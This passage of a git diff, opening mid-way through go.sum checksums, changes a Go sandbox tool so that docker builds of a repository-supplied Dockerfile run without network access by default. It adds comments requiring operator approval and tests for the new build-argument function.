h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= +golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w= diff --git a/internal/sandbox/sandbox.go b/internal/sandbox/sandbox.go index d9b4796..c839634 100644 --- a/internal/sandbox/sandbox.go +++ b/internal/sandbox/sandbox.go @@ -54,7 +54,10 @@ type Config struct { // ResolveImage determines the Docker image for a sandbox container. // Resolution order: // 1. cfg.Image is explicit → return it unchanged. -// 2. Dockerfile.odek exists in CWD → build (or reuse cached) image. +// 2. Dockerfile.odek exists in CWD → build (or reuse cached) image. The +// caller is responsible for gating this on operator approval (see +// cmd/odek/project_sandbox_approval.go) — the Dockerfile and its build +// context are repo-controlled. // 3. Otherwise → "alpine:latest". func ResolveImage(cfg Config) (string, error) { if cfg.Image != "" { @@ -71,6 +74,11 @@ func ResolveImage(cfg Config) (string, error) { // changing the Dockerfile produces a new tag, identical content reuses the // existing image instantly. Build output is piped to stderr so the user // sees progress on first build. +// +// Callers must gate this behind operator approval before invoking it (see +// cmd/odek/project_sandbox_approval.go): Dockerfile.odek is repo-controlled, +// and docker build executes its RUN instructions outside the sandbox threat +// model with the entire working directory as build context. func buildFromDockerfile() (string, error) { data, err := os.ReadFile(DockerfileName) if err != nil { @@ -81,7 +89,7 @@ func buildFromDockerfile() (string, error) { if _, err := exec.Command("docker", "image", "inspect", tag).CombinedOutput(); err != nil { fmt.Fprintf(os.Stderr, "odek: building sandbox image from %s...\n", DockerfileName) - build := exec.Command("docker", "build", "-t", tag, "-f", DockerfileName, ".") + build := exec.Command("docker", dockerBuildArgs(tag)...) build.Stderr = os.Stderr build.Stdout = os.Stderr if err := build.Run(); err != nil { @@ -92,6 +100,21 @@ func buildFromDockerfile() (string, error) { return tag, nil } +// dockerBuildArgs returns the "docker build" argument slice for the given +// tag. The build runs with --network=none by default: a repo-controlled +// Dockerfile.odek must not be able to exfiltrate build-context data (the +// entire working directory) or fetch attacker payloads during RUN steps. +// Operators who need networked builds (e.g. `RUN apk add …`) can opt in +// with ODEK_SANDBOX_BUILD_NETWORK=1 — an operator-only setting, since a +// project cannot set environment variables for the odek process. +func dockerBuildArgs(tag string) []string { + args := []string{"build"} + if os.Getenv("ODEK_SANDBOX_BUILD_NETWORK") != "1" { + args = append(args, "--network=none") + } + return append(args, "-t", tag, "-f", DockerfileName, ".") +} + // BuildRunArgs returns the "docker run" argument slice for the given // config — it does not execute Docker. Caller is expected to pass the // already-resolved image (ResolveImage) so the same argument list can be diff --git a/internal/sandbox/sandbox_test.go b/internal/sandbox/sandbox_test.go index fadd99f..de8653e 100644 --- a/internal/sandbox/sandbox_test.go +++ b/internal/sandbox/sandbox_test.go @@ -367,3 +367,27 @@ func contains(haystack []string, needle string) bool { } return false } + +// ── dockerBuildArgs ──────────────────────────────────────────────────── + +func TestDockerBuildArgs_NetworkNoneByDefault(t *testing.T) { + os.Unsetenv("ODEK_SANDBOX_BUILD_NETWORK") + args := dockerBuildArgs("odek-sandbox:test") + joined := strings.Join(args, " ") + if !strings.Contains(joined, "--network=none") { + t.Errorf("dockerBuildArgs default = %q, want --network=none", joined) + } + for _, want := range []string{"-t", "odek-sandbox:test", "-f", DockerfileName} { + if !strings.Contains(joined, want) { + t.Errorf("dockerBuildArgs = %q, missing %q", joined, want) + } + } +} + +func TestDockerBuildArgs_NetworkOptIn(t *testing.T) { + t.Setenv("ODEK_SANDBOX_BUILD_NETWORK", "1") + args := dockerBuildArgs("odek-sandbox:test") + if strings.Contains(strings.Join(args, " "), "--network=none") { + t.Errorf("dockerBuildArgs with ODEK_SANDBOX_BUILD_NETWORK=1 = %q, want no --network=none", strings.Join(args, " ")) + } +}